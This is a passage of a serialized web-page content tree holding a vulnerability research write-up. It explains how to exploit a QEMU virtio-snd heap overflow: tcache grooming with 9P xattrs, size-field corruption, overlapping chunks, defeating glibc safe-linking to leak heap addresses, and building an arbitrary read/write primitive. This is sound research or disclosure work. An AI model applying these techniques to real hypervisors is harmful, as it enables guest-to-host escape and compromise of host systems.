for N ",{"type":24,"tag":156,"props":131209,"children":131211},{"className":131210},[],[131212],{"type":30,"value":130333},{"type":30,"value":131214},"-sized allocations and then freeing them.",{"type":24,"tag":33,"props":131216,"children":131217},{},[131218,131220,131225,131226,131231,131232,131237,131239,131244,131246,131251],{"type":30,"value":131219},"At this point, we already know that ",{"type":24,"tag":156,"props":131221,"children":131223},{"className":131222},[],[131224],{"type":30,"value":130377},{"type":30,"value":131127},{"type":24,"tag":156,"props":131227,"children":131229},{"className":131228},[],[131230],{"type":30,"value":130333},{"type":30,"value":131134},{"type":24,"tag":156,"props":131233,"children":131235},{"className":131234},[],[131236],{"type":30,"value":130340},{"type":30,"value":131238},". If we simply call it with ",{"type":24,"tag":156,"props":131240,"children":131242},{"className":131241},[],[131243],{"type":30,"value":130340},{"type":30,"value":131245}," sized the same as ",{"type":24,"tag":156,"props":131247,"children":131249},{"className":131248},[],[131250],{"type":30,"value":130333},{"type":30,"value":131252},", we get a layout like this:",{"type":24,"tag":920,"props":131254,"children":131256},{"code":131255},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[131257],{"type":24,"tag":156,"props":131258,"children":131259},{"__ignoreMap":7},[131260],{"type":30,"value":131255},{"type":24,"tag":33,"props":131262,"children":131263},{},[131264,131266,131271,131273,131279,131281,131287,131289,131294,131296,131301,131303,131308],{"type":30,"value":131265},"With that heap state, issuing a ",{"type":24,"tag":156,"props":131267,"children":131269},{"className":131268},[],[131270],{"type":30,"value":131043},{"type":30,"value":131272}," request would first free ",{"type":24,"tag":156,"props":131274,"children":131276},{"className":131275},[],[131277],{"type":30,"value":131278},".name A",{"type":30,"value":131280}," and then ",{"type":24,"tag":156,"props":131282,"children":131284},{"className":131283},[],[131285],{"type":30,"value":131286},".value A",{"type":30,"value":131288},". When ",{"type":24,"tag":156,"props":131290,"children":131292},{"className":131291},[],[131293],{"type":30,"value":131286},{"type":30,"value":131295}," is freed, the allocator sees that the preceding chunk ",{"type":24,"tag":156,"props":131297,"children":131299},{"className":131298},[],[131300],{"type":30,"value":131278},{"type":30,"value":131302}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":24,"tag":156,"props":131304,"children":131306},{"className":131305},[],[131307],{"type":30,"value":130333},{"type":30,"value":131309},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":24,"tag":33,"props":131311,"children":131312},{},[131313],{"type":30,"value":131314},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":24,"tag":33,"props":131316,"children":131317},{},[131318,131320,131325,131327,131332,131334,131339,131341,131347,131349,131354,131356,131362],{"type":30,"value":131319},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":24,"tag":156,"props":131321,"children":131323},{"className":131322},[],[131324],{"type":30,"value":130333},{"type":30,"value":131326}," allocation remains fixed at size ",{"type":24,"tag":156,"props":131328,"children":131330},{"className":131329},[],[131331],{"type":30,"value":3194},{"type":30,"value":131333},". We first allocate 16 xattrs whose ",{"type":24,"tag":156,"props":131335,"children":131337},{"className":131336},[],[131338],{"type":30,"value":130340},{"type":30,"value":131340}," size is ",{"type":24,"tag":156,"props":131342,"children":131344},{"className":131343},[],[131345],{"type":30,"value":131346},"0x30",{"type":30,"value":131348},". After that, we allocate another 16 xattrs, this time with ",{"type":24,"tag":156,"props":131350,"children":131352},{"className":131351},[],[131353],{"type":30,"value":130340},{"type":30,"value":131355}," size ",{"type":24,"tag":156,"props":131357,"children":131359},{"className":131358},[],[131360],{"type":30,"value":131361},"0x40",{"type":30,"value":131363},", and continue in the same way for each tcache size class.",{"type":24,"tag":33,"props":131365,"children":131366},{},[131367],{"type":30,"value":131368},"This yields the following layout:",{"type":24,"tag":920,"props":131370,"children":131372},{"code":131371},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[131373],{"type":24,"tag":156,"props":131374,"children":131375},{"__ignoreMap":7},[131376],{"type":30,"value":131371},{"type":24,"tag":33,"props":131378,"children":131379},{},[131380,131382,131387,131389,131394,131396,131401,131403,131408,131410,131415,131417,131422,131423,131428,131430,131435,131437,131442,131444,131449,131451,131456,131458,131463],{"type":30,"value":131381},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":24,"tag":156,"props":131383,"children":131385},{"className":131384},[],[131386],{"type":30,"value":130333},{"type":30,"value":131388}," chunks end up in the ",{"type":24,"tag":156,"props":131390,"children":131392},{"className":131391},[],[131393],{"type":30,"value":3194},{"type":30,"value":131395}," tcache bin, along with the interleaved ",{"type":24,"tag":156,"props":131397,"children":131399},{"className":131398},[],[131400],{"type":30,"value":130340},{"type":30,"value":131402}," chunks of size ",{"type":24,"tag":156,"props":131404,"children":131406},{"className":131405},[],[131407],{"type":30,"value":131346},{"type":30,"value":131409},". The next 16 ",{"type":24,"tag":156,"props":131411,"children":131413},{"className":131412},[],[131414],{"type":30,"value":130333},{"type":30,"value":131416}," chunks are interleaved with ",{"type":24,"tag":156,"props":131418,"children":131420},{"className":131419},[],[131421],{"type":30,"value":130340},{"type":30,"value":131402},{"type":24,"tag":156,"props":131424,"children":131426},{"className":131425},[],[131427],{"type":30,"value":131361},{"type":30,"value":131429},"; when freed, those ",{"type":24,"tag":156,"props":131431,"children":131433},{"className":131432},[],[131434],{"type":30,"value":130340},{"type":30,"value":131436}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":24,"tag":156,"props":131438,"children":131440},{"className":131439},[],[131441],{"type":30,"value":130333},{"type":30,"value":131443}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":24,"tag":156,"props":131445,"children":131447},{"className":131446},[],[131448],{"type":30,"value":130333},{"type":30,"value":131450},"-sized chunks that will later be served to the ",{"type":24,"tag":156,"props":131452,"children":131454},{"className":131453},[],[131455],{"type":30,"value":130333},{"type":30,"value":131457}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":24,"tag":156,"props":131459,"children":131461},{"className":131460},[],[131462],{"type":30,"value":130340},{"type":30,"value":131189},{"type":24,"tag":151,"props":131465,"children":131467},{"id":131466},"corrupting-the-size",[131468],{"type":30,"value":131469},"Corrupting the Size",{"type":24,"tag":33,"props":131471,"children":131472},{},[131473,131475,131480,131482,131487,131489,131494,131496,131501,131502,131507],{"type":30,"value":131474},"The input format is guest-controlled, and we choose ",{"type":24,"tag":156,"props":131476,"children":131478},{"className":131477},[],[131479],{"type":30,"value":6538},{"type":30,"value":131481}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":24,"tag":156,"props":131483,"children":131485},{"className":131484},[],[131486],{"type":30,"value":6538},{"type":30,"value":131488}," is centered at ",{"type":24,"tag":156,"props":131490,"children":131492},{"className":131491},[],[131493],{"type":30,"value":32530},{"type":30,"value":131495}," (rather than ",{"type":24,"tag":156,"props":131497,"children":131499},{"className":131498},[],[131500],{"type":30,"value":128595},{"type":30,"value":128582},{"type":24,"tag":156,"props":131503,"children":131505},{"className":131504},[],[131506],{"type":30,"value":128573},{"type":30,"value":131508},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":24,"tag":33,"props":131510,"children":131511},{},[131512,131514,131519],{"type":30,"value":131513},"As we already concluded, ",{"type":24,"tag":156,"props":131515,"children":131517},{"className":131516},[],[131518],{"type":30,"value":128038},{"type":30,"value":131520}," is called with the amount:",{"type":24,"tag":920,"props":131522,"children":131524},{"code":131523},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[131525],{"type":24,"tag":156,"props":131526,"children":131527},{"__ignoreMap":7},[131528],{"type":30,"value":131523},{"type":24,"tag":33,"props":131530,"children":131531},{},[131532,131534,131539,131541,131546],{"type":30,"value":131533},"And as mentioned earlier, ",{"type":24,"tag":156,"props":131535,"children":131537},{"className":131536},[],[131538],{"type":30,"value":128069},{"type":30,"value":131540}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":24,"tag":156,"props":131542,"children":131544},{"className":131543},[],[131545],{"type":30,"value":126688},{"type":30,"value":61415},{"type":24,"tag":33,"props":131548,"children":131549},{},[131550,131552,131557,131559,131564],{"type":30,"value":131551},"With the desired heap layout of repeated ",{"type":24,"tag":156,"props":131553,"children":131555},{"className":131554},[],[131556],{"type":30,"value":130242},{"type":30,"value":131558},"-sized ",{"type":24,"tag":156,"props":131560,"children":131562},{"className":131561},[],[131563],{"type":30,"value":130340},{"type":30,"value":131565}," chunks in place, we can then free every other one:",{"type":24,"tag":920,"props":131567,"children":131569},{"code":131568},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[131570],{"type":24,"tag":156,"props":131571,"children":131572},{"__ignoreMap":7},[131573],{"type":30,"value":131568},{"type":24,"tag":33,"props":131575,"children":131576},{},[131577,131579,131584],{"type":30,"value":131578},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":24,"tag":156,"props":131580,"children":131582},{"className":131581},[],[131583],{"type":30,"value":130340},{"type":30,"value":131585}," chunk directly next to it:",{"type":24,"tag":920,"props":131587,"children":131589},{"code":131588},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[131590],{"type":24,"tag":156,"props":131591,"children":131592},{"__ignoreMap":7},[131593],{"type":30,"value":131588},{"type":24,"tag":33,"props":131595,"children":131596},{},[131597,131599,131604,131606,131611],{"type":30,"value":131598},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":24,"tag":156,"props":131600,"children":131602},{"className":131601},[],[131603],{"type":30,"value":130242},{"type":30,"value":131605},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":24,"tag":156,"props":131607,"children":131609},{"className":131608},[],[131610],{"type":30,"value":130340},{"type":30,"value":131612}," chunk now has a corrupted and likely oversized size field:",{"type":24,"tag":920,"props":131614,"children":131616},{"code":131615},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[131617],{"type":24,"tag":156,"props":131618,"children":131619},{"__ignoreMap":7},[131620],{"type":30,"value":131615},{"type":24,"tag":33,"props":131622,"children":131623},{},[131624,131626,131631],{"type":30,"value":131625},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":24,"tag":156,"props":131627,"children":131629},{"className":131628},[],[131630],{"type":30,"value":130257},{"type":30,"value":476},{"type":24,"tag":920,"props":131633,"children":131635},{"code":131634},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[131636],{"type":24,"tag":156,"props":131637,"children":131638},{"__ignoreMap":7},[131639],{"type":30,"value":131634},{"type":24,"tag":33,"props":131641,"children":131642},{},[131643,131645,131650],{"type":30,"value":131644},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":24,"tag":156,"props":131646,"children":131648},{"className":131647},[],[131649],{"type":30,"value":130257},{"type":30,"value":2716},{"type":24,"tag":920,"props":131652,"children":131654},{"code":131653},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[131655],{"type":24,"tag":156,"props":131656,"children":131657},{"__ignoreMap":7},[131658],{"type":30,"value":131653},{"type":24,"tag":33,"props":131660,"children":131661},{},[131662,131664,131670],{"type":30,"value":131663},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":24,"tag":156,"props":131665,"children":131667},{"className":131666},[],[131668],{"type":30,"value":131669},"0x400",{"type":30,"value":131671}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":24,"tag":920,"props":131673,"children":131675},{"code":131674},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[131676],{"type":24,"tag":156,"props":131677,"children":131678},{"__ignoreMap":7},[131679],{"type":30,"value":131674},{"type":24,"tag":151,"props":131681,"children":131683},{"id":131682},"leaking-a-heap-address",[131684],{"type":30,"value":131685},"Leaking a Heap Address",{"type":24,"tag":33,"props":131687,"children":131688},{},[131689],{"type":30,"value":131690},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":24,"tag":33,"props":131692,"children":131693},{},[131694,131696,131702],{"type":30,"value":131695},"To do this, we abuse the forward (",{"type":24,"tag":156,"props":131697,"children":131699},{"className":131698},[],[131700],{"type":30,"value":131701},"fd",{"type":30,"value":131703},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":24,"tag":920,"props":131705,"children":131707},{"code":131706},"fd = next ^ (curr >> 12)\n",[131708],{"type":24,"tag":156,"props":131709,"children":131710},{"__ignoreMap":7},[131711],{"type":30,"value":131706},{"type":24,"tag":33,"props":131713,"children":131714},{},[131715,131717,131722,131723,131728],{"type":30,"value":131716},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":24,"tag":156,"props":131718,"children":131720},{"className":131719},[],[131721],{"type":30,"value":60654},{"type":30,"value":3678},{"type":24,"tag":156,"props":131724,"children":131726},{"className":131725},[],[131727],{"type":30,"value":57585},{"type":30,"value":131729}," because there is no following entry. In that case, the encoding becomes:",{"type":24,"tag":920,"props":131731,"children":131733},{"code":131732},"fd = 0 ^ (curr >> 12)\n",[131734],{"type":24,"tag":156,"props":131735,"children":131736},{"__ignoreMap":7},[131737],{"type":30,"value":131732},{"type":24,"tag":33,"props":131739,"children":131740},{},[131741,131743,131748],{"type":30,"value":131742},"So if we free a single chunk into an empty tcache bin, its ",{"type":24,"tag":156,"props":131744,"children":131746},{"className":131745},[],[131747],{"type":30,"value":131701},{"type":30,"value":131749}," field is effectively just the chunk address shifted right by 12.",{"type":24,"tag":33,"props":131751,"children":131752},{},[131753],{"type":30,"value":131754},"In the overlap we achieved earlier:",{"type":24,"tag":920,"props":131756,"children":131758},{"code":131757},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[131759],{"type":24,"tag":156,"props":131760,"children":131761},{"__ignoreMap":7},[131762],{"type":30,"value":131757},{"type":24,"tag":33,"props":131764,"children":131765},{},[131766,131768,131774,131776,131782,131784,131790,131792,131797],{"type":30,"value":131767},"We first free ",{"type":24,"tag":156,"props":131769,"children":131771},{"className":131770},[],[131772],{"type":30,"value":131773},".value C",{"type":30,"value":131775}," into tcache and read its contents through the oversized ",{"type":24,"tag":156,"props":131777,"children":131779},{"className":131778},[],[131780],{"type":30,"value":131781},".value Y",{"type":30,"value":131783},". This gives us ",{"type":24,"tag":156,"props":131785,"children":131787},{"className":131786},[],[131788],{"type":30,"value":131789},".value C >> 12",{"type":30,"value":131791},". That is not yet the exact address of ",{"type":24,"tag":156,"props":131793,"children":131795},{"className":131794},[],[131796],{"type":30,"value":131773},{"type":30,"value":131798},", since the lower 12 bits are lost.",{"type":24,"tag":33,"props":131800,"children":131801},{},[131802,131804,131809,131811,131816,131818,131823,131825,131830],{"type":30,"value":131803},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":24,"tag":156,"props":131805,"children":131807},{"className":131806},[],[131808],{"type":30,"value":131773},{"type":30,"value":131810},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":24,"tag":156,"props":131812,"children":131814},{"className":131813},[],[131815],{"type":30,"value":131773},{"type":30,"value":131817}," again. This time, ",{"type":24,"tag":156,"props":131819,"children":131821},{"className":131820},[],[131822],{"type":30,"value":60654},{"type":30,"value":131824}," is no longer ",{"type":24,"tag":156,"props":131826,"children":131828},{"className":131827},[],[131829],{"type":30,"value":57585},{"type":30,"value":131831},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":24,"tag":920,"props":131833,"children":131834},{"code":131706},[131835],{"type":24,"tag":156,"props":131836,"children":131837},{"__ignoreMap":7},[131838],{"type":30,"value":131706},{"type":24,"tag":33,"props":131840,"children":131841},{},[131842,131844,131850,131852,131857,131859,131864,131866,131871],{"type":30,"value":131843},"Since we already know ",{"type":24,"tag":156,"props":131845,"children":131847},{"className":131846},[],[131848],{"type":30,"value":131849},"curr >> 12",{"type":30,"value":131851}," from the first leak, we can read the new ",{"type":24,"tag":156,"props":131853,"children":131855},{"className":131854},[],[131856],{"type":30,"value":131701},{"type":30,"value":131858}," value from ",{"type":24,"tag":156,"props":131860,"children":131862},{"className":131861},[],[131863],{"type":30,"value":131773},{"type":30,"value":131865}," and recover the exact address of ",{"type":24,"tag":156,"props":131867,"children":131869},{"className":131868},[],[131870],{"type":30,"value":60654},{"type":30,"value":131872}," by reversing the XOR:",{"type":24,"tag":920,"props":131874,"children":131876},{"code":131875},"next = fd ^ (curr >> 12)\n",[131877],{"type":24,"tag":156,"props":131878,"children":131879},{"__ignoreMap":7},[131880],{"type":30,"value":131875},{"type":24,"tag":33,"props":131882,"children":131883},{},[131884],{"type":30,"value":131885},"This gives us the exact address of a heap chunk whose contents we control.",{"type":24,"tag":151,"props":131887,"children":131889},{"id":131888},"arbitrary-read-and-write",[131890],{"type":30,"value":131891},"Arbitrary Read and Write",{"type":24,"tag":33,"props":131893,"children":131894},{},[131895,131897,131902],{"type":30,"value":131896},"Having a controlled chunk at a known address lets us repurpose ",{"type":24,"tag":156,"props":131898,"children":131900},{"className":131899},[],[131901],{"type":30,"value":131773},{"type":30,"value":131903}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":24,"tag":33,"props":131905,"children":131906},{},[131907,131909,131914],{"type":30,"value":131908},"Recall ",{"type":24,"tag":156,"props":131910,"children":131912},{"className":131911},[],[131913],{"type":30,"value":130377},{"type":30,"value":476},{"type":24,"tag":920,"props":131916,"children":131918},{"code":131917,"language":6268,"meta":7,"className":19616,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[131919],{"type":24,"tag":156,"props":131920,"children":131921},{"__ignoreMap":7},[131922,131961,131968,131979,131994,132009,132016,132023,132030,132052,132059,132066,132073,132081,132098,132137,132180,132187],{"type":24,"tag":930,"props":131923,"children":131924},{"class":932,"line":933},[131925,131929,131933,131937,131941,131945,131949,131953,131957],{"type":24,"tag":930,"props":131926,"children":131927},{"style":937},[131928],{"type":30,"value":54133},{"type":24,"tag":930,"props":131930,"children":131931},{"style":937},[131932],{"type":30,"value":54138},{"type":24,"tag":930,"props":131934,"children":131935},{"style":959},[131936],{"type":30,"value":130372},{"type":24,"tag":930,"props":131938,"children":131939},{"style":1002},[131940],{"type":30,"value":130377},{"type":24,"tag":930,"props":131942,"children":131943},{"style":959},[131944],{"type":30,"value":1010},{"type":24,"tag":930,"props":131946,"children":131947},{"style":937},[131948],{"type":30,"value":54716},{"type":24,"tag":930,"props":131950,"children":131951},{"style":1158},[131952],{"type":30,"value":12924},{"type":24,"tag":930,"props":131954,"children":131955},{"style":1023},[131956],{"type":30,"value":130394},{"type":24,"tag":930,"props":131958,"children":131959},{"style":959},[131960],{"type":30,"value":1054},{"type":24,"tag":930,"props":131962,"children":131963},{"class":932,"line":984},[131964],{"type":24,"tag":930,"props":131965,"children":131966},{"style":959},[131967],{"type":30,"value":13987},{"type":24,"tag":930,"props":131969,"children":131970},{"class":932,"line":993},[131971,131975],{"type":24,"tag":930,"props":131972,"children":131973},{"style":937},[131974],{"type":30,"value":58702},{"type":24,"tag":930,"props":131976,"children":131977},{"style":959},[131978],{"type":30,"value":127030},{"type":24,"tag":930,"props":131980,"children":131981},{"class":932,"line":1057},[131982,131986,131990],{"type":24,"tag":930,"props":131983,"children":131984},{"style":959},[131985],{"type":30,"value":130519},{"type":24,"tag":930,"props":131987,"children":131988},{"style":1158},[131989],{"type":30,"value":1410},{"type":24,"tag":930,"props":131991,"children":131992},{"style":959},[131993],{"type":30,"value":130528},{"type":24,"tag":930,"props":131995,"children":131996},{"class":932,"line":1066},[131997,132001,132005],{"type":24,"tag":930,"props":131998,"children":131999},{"style":959},[132000],{"type":30,"value":130519},{"type":24,"tag":930,"props":132002,"children":132003},{"style":1158},[132004],{"type":30,"value":1410},{"type":24,"tag":930,"props":132006,"children":132007},{"style":959},[132008],{"type":30,"value":130544},{"type":24,"tag":930,"props":132010,"children":132011},{"class":932,"line":1075},[132012],{"type":24,"tag":930,"props":132013,"children":132014},{"emptyLinePlaceholder":16},[132015],{"type":30,"value":2412},{"type":24,"tag":930,"props":132017,"children":132018},{"class":932,"line":1122},[132019],{"type":24,"tag":930,"props":132020,"children":132021},{"style":959},[132022],{"type":30,"value":2923},{"type":24,"tag":930,"props":132024,"children":132025},{"class":932,"line":1131},[132026],{"type":24,"tag":930,"props":132027,"children":132028},{"emptyLinePlaceholder":16},[132029],{"type":30,"value":2412},{"type":24,"tag":930,"props":132031,"children":132032},{"class":932,"line":1144},[132033,132038,132042,132047],{"type":24,"tag":930,"props":132034,"children":132035},{"style":959},[132036],{"type":30,"value":132037},"    file_fidp ",{"type":24,"tag":930,"props":132039,"children":132040},{"style":1158},[132041],{"type":30,"value":1161},{"type":24,"tag":930,"props":132043,"children":132044},{"style":1002},[132045],{"type":30,"value":132046}," get_fid",{"type":24,"tag":930,"props":132048,"children":132049},{"style":959},[132050],{"type":30,"value":132051},"(pdu, fid);\n",{"type":24,"tag":930,"props":132053,"children":132054},{"class":932,"line":1169},[132055],{"type":24,"tag":930,"props":132056,"children":132057},{"emptyLinePlaceholder":16},[132058],{"type":30,"value":2412},{"type":24,"tag":930,"props":132060,"children":132061},{"class":932,"line":1191},[132062],{"type":24,"tag":930,"props":132063,"children":132064},{"style":959},[132065],{"type":30,"value":2923},{"type":24,"tag":930,"props":132067,"children":132068},{"class":932,"line":1223},[132069],{"type":24,"tag":930,"props":132070,"children":132071},{"emptyLinePlaceholder":16},[132072],{"type":30,"value":2412},{"type":24,"tag":930,"props":132074,"children":132075},{"class":932,"line":1281},[132076],{"type":24,"tag":930,"props":132077,"children":132078},{"style":1422},[132079],{"type":30,"value":132080},"    /* Make the file fid point to xattr */\n",{"type":24,"tag":930,"props":132082,"children":132083},{"class":932,"line":1313},[132084,132089,132093],{"type":24,"tag":930,"props":132085,"children":132086},{"style":959},[132087],{"type":30,"value":132088},"    xattr_fidp ",{"type":24,"tag":930,"props":132090,"children":132091},{"style":1158},[132092],{"type":30,"value":1161},{"type":24,"tag":930,"props":132094,"children":132095},{"style":959},[132096],{"type":30,"value":132097}," file_fidp;\n",{"type":24,"tag":930,"props":132099,"children":132100},{"class":932,"line":1335},[132101,132105,132109,132113,132117,132121,132125,132129,132133],{"type":24,"tag":930,"props":132102,"children":132103},{"style":1023},[132104],{"type":30,"value":130922},{"type":24,"tag":930,"props":132106,"children":132107},{"style":959},[132108],{"type":30,"value":16864},{"type":24,"tag":930,"props":132110,"children":132111},{"style":1023},[132112],{"type":30,"value":40070},{"type":24,"tag":930,"props":132114,"children":132115},{"style":959},[132116],{"type":30,"value":436},{"type":24,"tag":930,"props":132118,"children":132119},{"style":1023},[132120],{"type":30,"value":130846},{"type":24,"tag":930,"props":132122,"children":132123},{"style":959},[132124],{"type":30,"value":436},{"type":24,"tag":930,"props":132126,"children":132127},{"style":1023},[132128],{"type":30,"value":12247},{"type":24,"tag":930,"props":132130,"children":132131},{"style":1158},[132132],{"type":30,"value":6137},{"type":24,"tag":930,"props":132134,"children":132135},{"style":959},[132136],{"type":30,"value":127030},{"type":24,"tag":930,"props":132138,"children":132139},{"class":932,"line":1376},[132140,132144,132148,132152,132156,132160,132164,132168,132172,132176],{"type":24,"tag":930,"props":132141,"children":132142},{"style":1023},[132143],{"type":30,"value":130922},{"type":24,"tag":930,"props":132145,"children":132146},{"style":959},[132147],{"type":30,"value":16864},{"type":24,"tag":930,"props":132149,"children":132150},{"style":1023},[132151],{"type":30,"value":40070},{"type":24,"tag":930,"props":132153,"children":132154},{"style":959},[132155],{"type":30,"value":436},{"type":24,"tag":930,"props":132157,"children":132158},{"style":1023},[132159],{"type":30,"value":130846},{"type":24,"tag":930,"props":132161,"children":132162},{"style":959},[132163],{"type":30,"value":436},{"type":24,"tag":930,"props":132165,"children":132166},{"style":1023},[132167],{"type":30,"value":42239},{"type":24,"tag":930,"props":132169,"children":132170},{"style":1158},[132171],{"type":30,"value":6137},{"type":24,"tag":930,"props":132173,"children":132174},{"style":1002},[132175],{"type":30,"value":126601},{"type":24,"tag":930,"props":132177,"children":132178},{"style":959},[132179],{"type":30,"value":130959},{"type":24,"tag":930,"props":132181,"children":132182},{"class":932,"line":1418},[132183],{"type":24,"tag":930,"props":132184,"children":132185},{"emptyLinePlaceholder":16},[132186],{"type":30,"value":2412},{"type":24,"tag":930,"props":132188,"children":132189},{"class":932,"line":1438},[132190],{"type":24,"tag":930,"props":132191,"children":132192},{"style":959},[132193],{"type":30,"value":2923},{"type":24,"tag":33,"props":132195,"children":132196},{},[132197,132199,132205,132207,132212,132213,132218,132220,132225,132227,132233,132234,132240,132242,132247,132248,132253],{"type":30,"value":132198},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":24,"tag":156,"props":132200,"children":132202},{"className":132201},[],[132203],{"type":30,"value":132204},"V9fsFidState",{"type":30,"value":132206}," object. In other words, if we can place a ",{"type":24,"tag":156,"props":132208,"children":132210},{"className":132209},[],[132211],{"type":30,"value":132204},{"type":30,"value":10433},{"type":24,"tag":156,"props":132214,"children":132216},{"className":132215},[],[132217],{"type":30,"value":131773},{"type":30,"value":132219}," currently sits, the overlapping ",{"type":24,"tag":156,"props":132221,"children":132223},{"className":132222},[],[132224],{"type":30,"value":131781},{"type":30,"value":132226}," chunk can overwrite ",{"type":24,"tag":156,"props":132228,"children":132230},{"className":132229},[],[132231],{"type":30,"value":132232},"V9fsFidState.fs.xattr.value",{"type":30,"value":211},{"type":24,"tag":156,"props":132235,"children":132237},{"className":132236},[],[132238],{"type":30,"value":132239},"V9fsFidState.fs.xattr.len",{"type":30,"value":132241},". That would immediately give us arbitrary read and write through ",{"type":24,"tag":156,"props":132243,"children":132245},{"className":132244},[],[132246],{"type":30,"value":131035},{"type":30,"value":211},{"type":24,"tag":156,"props":132249,"children":132251},{"className":132250},[],[132252],{"type":30,"value":131027},{"type":30,"value":436},{"type":24,"tag":33,"props":132255,"children":132256},{},[132257,132259,132264,132265,132270,132272,132277,132279,132285,132287,132292,132294,132299,132301,132306,132308,132313,132315,132320],{"type":30,"value":132258},"At this point, ",{"type":24,"tag":156,"props":132260,"children":132262},{"className":132261},[],[132263],{"type":30,"value":131773},{"type":30,"value":18547},{"type":24,"tag":156,"props":132266,"children":132268},{"className":132267},[],[132269],{"type":30,"value":130242},{"type":30,"value":132271}," chunk, while ",{"type":24,"tag":156,"props":132273,"children":132275},{"className":132274},[],[132276],{"type":30,"value":132204},{"type":30,"value":132278}," falls into the ",{"type":24,"tag":156,"props":132280,"children":132282},{"className":132281},[],[132283],{"type":30,"value":132284},"0x120",{"type":30,"value":132286}," size class. Before freeing ",{"type":24,"tag":156,"props":132288,"children":132290},{"className":132289},[],[132291],{"type":30,"value":131773},{"type":30,"value":132293},", we therefore use the oversized ",{"type":24,"tag":156,"props":132295,"children":132297},{"className":132296},[],[132298],{"type":30,"value":131781},{"type":30,"value":132300}," chunk to change its size to match 